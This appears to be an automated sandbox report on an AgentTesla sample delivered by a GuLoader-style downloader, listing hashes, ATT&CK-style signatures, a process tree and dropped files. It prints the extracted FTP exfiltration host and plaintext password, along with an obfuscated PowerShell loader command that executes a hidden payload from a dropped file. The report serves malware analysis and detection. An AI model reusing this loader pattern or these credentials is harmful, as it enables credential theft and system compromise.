Analysis

  • max time kernel
    143s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-09-2024 08:17

General

  • Target

    74b63fc7533ba2dfd75253a2ac5044f9.exe

  • Size

    752KB

  • MD5

    74b63fc7533ba2dfd75253a2ac5044f9

  • SHA1

    20c6f4f4db0e850f1506e7d89be267f2fa1b21e2

  • SHA256

    fbcceeb087e972ef29b0e3561a022aa4e6897cd78de77049e130e47bafcde554

  • SHA512

    ff82f9a7138fce1aca1c59fd0fc7b050d59a5c507af33beb599bec543b7b3c8186a7e7ece3c8aa47ef5383d115b06231e80bffc398598764fd642a7228e23bb1

  • SSDEEP

    12288:nXJaAf3gv3zDtlZcqY18aAV0uyXVU62+eqvIwLT6Q11m14VELQrr+ZuHu/bf95Ro:5aO3gvjs8JV0uyXE1w/K6ELDuO/J5e

Malware Config

Extracted

Family

agenttesla

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://ftp.concaribe.com
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    ro}UWgz#!38E

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Loads dropped DLL 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\74b63fc7533ba2dfd75253a2ac5044f9.exe
    "C:\Users\Admin\AppData\Local\Temp\74b63fc7533ba2dfd75253a2ac5044f9.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4996
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle minimized "$Paleolith179=Get-Content 'C:\Users\Admin\AppData\Roaming\Fastlggende246\Ytringsfriheds.Boe';$Scob=$Paleolith179.SubString(55585,3);.$Scob($Paleolith179)"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4620
      • C:\Program Files (x86)\windows mail\wabmig.exe
        "C:\Program Files (x86)\windows mail\wabmig.exe"
        3⤵
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1568

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wlsegfqg.1tl.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\nsd9C03.tmp\nsExec.dll

    Filesize

    6KB

    MD5

    7f4a854abf13869f8b0f3c8952a1d4b0

    SHA1

    41c1dc531094abb81e5c37a04e7b88da14dd3980

    SHA256

    971b9daea9ad21621ac81776c13fdd899979ab920fed44c9066a41f60b961a4c

    SHA512

    df775a146adb801659bfec3921cf66975c8fa1425c66081ac168dc6294151d4a05c0c478d3d86fb445176bc7e775bd0165e8900d4354783ecdb9fab58a612dbe

  • C:\Users\Admin\AppData\Roaming\Fastlggende246\Airedaleterrier.Unb168

    Filesize

    337KB

    MD5

    7a0107219f1b8581a5dfcd74dc9ef188

    SHA1

    0dfcf90e9fff6b02ea1b8fe83915f7b7fdb3a375

    SHA256

    381a70fe5a97bb38740adbcbb16eb195c33993b32c5284fcd4f02aea48d90603

    SHA512

    62fe1dc02212d68ab41c15d39e1ab784aab8fbb77930cd64a658e22bf9e784d29a5c192e31ba9f8f20d8bdfa4e3245795c4fc38d037651abfd35ccbc9e11ffdd

  • C:\Users\Admin\AppData\Roaming\Fastlggende246\Ytringsfriheds.Boe

    Filesize

    54KB

    MD5

    46d49ead3b80676d7f7da4d9b4b12376

    SHA1

    91241d7dbfeca9f33276a879fe633c7961f94d8c

    SHA256

    a2a21751e762e44cb4d9590c0eedc71f546bc9bf65c8bc4b7722021b1af16fa5

    SHA512

    b62833aaa08aeba67bb17f911fa3f2876f254bc2f161ff61df3354b7ce165668cf2908f579350afd4c2c402a3910e0bf6269fe40d0c554688faa0a29a6b38400

  • memory/1568-52-0x0000000077771000-0x0000000077891000-memory.dmp

    Filesize

    1.1MB

  • memory/1568-53-0x0000000000C00000-0x0000000001E54000-memory.dmp

    Filesize

    18.3MB

  • memory/1568-55-0x0000000000C00000-0x0000000000C42000-memory.dmp

    Filesize

    264KB

  • memory/1568-51-0x00000000777F8000-0x00000000777F9000-memory.dmp

    Filesize

    4KB

  • memory/1568-56-0x0000000025290000-0x00000000252E0000-memory.dmp

    Filesize

    320KB

  • memory/1568-50-0x0000000077771000-0x0000000077891000-memory.dmp

    Filesize

    1.1MB

  • memory/1568-49-0x0000000001E60000-0x000000000694C000-memory.dmp

    Filesize

    74.9MB

  • memory/1568-57-0x0000000025380000-0x0000000025412000-memory.dmp

    Filesize

    584KB

  • memory/1568-58-0x0000000025270000-0x000000002527A000-memory.dmp

    Filesize

    40KB

  • memory/4620-37-0x0000000073BE0000-0x0000000074390000-memory.dmp

    Filesize

    7.7MB

  • memory/4620-45-0x0000000073BE0000-0x0000000074390000-memory.dmp

    Filesize

    7.7MB

  • memory/4620-33-0x00000000072D0000-0x0000000007874000-memory.dmp

    Filesize

    5.6MB

  • memory/4620-31-0x0000000006160000-0x000000000617A000-memory.dmp

    Filesize

    104KB

  • memory/4620-35-0x0000000007F00000-0x000000000857A000-memory.dmp

    Filesize

    6.5MB

  • memory/4620-30-0x0000000006C30000-0x0000000006CC6000-memory.dmp

    Filesize

    600KB

  • memory/4620-38-0x0000000073BE0000-0x0000000074390000-memory.dmp

    Filesize

    7.7MB

  • memory/4620-39-0x0000000073BE0000-0x0000000074390000-memory.dmp

    Filesize

    7.7MB

  • memory/4620-29-0x0000000005C80000-0x0000000005CCC000-memory.dmp

    Filesize

    304KB

  • memory/4620-41-0x0000000073BE0000-0x0000000074390000-memory.dmp

    Filesize

    7.7MB

  • memory/4620-42-0x0000000073BEE000-0x0000000073BEF000-memory.dmp

    Filesize

    4KB

  • memory/4620-43-0x0000000073BE0000-0x0000000074390000-memory.dmp

    Filesize

    7.7MB

  • memory/4620-44-0x0000000008580000-0x000000000D06C000-memory.dmp

    Filesize

    74.9MB

  • memory/4620-32-0x00000000061B0000-0x00000000061D2000-memory.dmp

    Filesize

    136KB

  • memory/4620-46-0x0000000073BE0000-0x0000000074390000-memory.dmp

    Filesize

    7.7MB

  • memory/4620-48-0x0000000073BE0000-0x0000000074390000-memory.dmp

    Filesize

    7.7MB

  • memory/4620-28-0x0000000005C50000-0x0000000005C6E000-memory.dmp

    Filesize

    120KB

  • memory/4620-24-0x0000000005630000-0x0000000005984000-memory.dmp

    Filesize

    3.3MB

  • memory/4620-16-0x0000000005390000-0x00000000053F6000-memory.dmp

    Filesize

    408KB

  • memory/4620-17-0x0000000005400000-0x0000000005466000-memory.dmp

    Filesize

    408KB

  • memory/4620-15-0x0000000004CC0000-0x0000000004CE2000-memory.dmp

    Filesize

    136KB

  • memory/4620-54-0x0000000073BE0000-0x0000000074390000-memory.dmp

    Filesize

    7.7MB

  • memory/4620-14-0x0000000004D60000-0x0000000005388000-memory.dmp

    Filesize

    6.2MB

  • memory/4620-13-0x0000000073BE0000-0x0000000074390000-memory.dmp

    Filesize

    7.7MB

  • memory/4620-12-0x00000000046A0000-0x00000000046D6000-memory.dmp

    Filesize

    216KB

  • memory/4620-11-0x0000000073BEE000-0x0000000073BEF000-memory.dmp

    Filesize

    4KB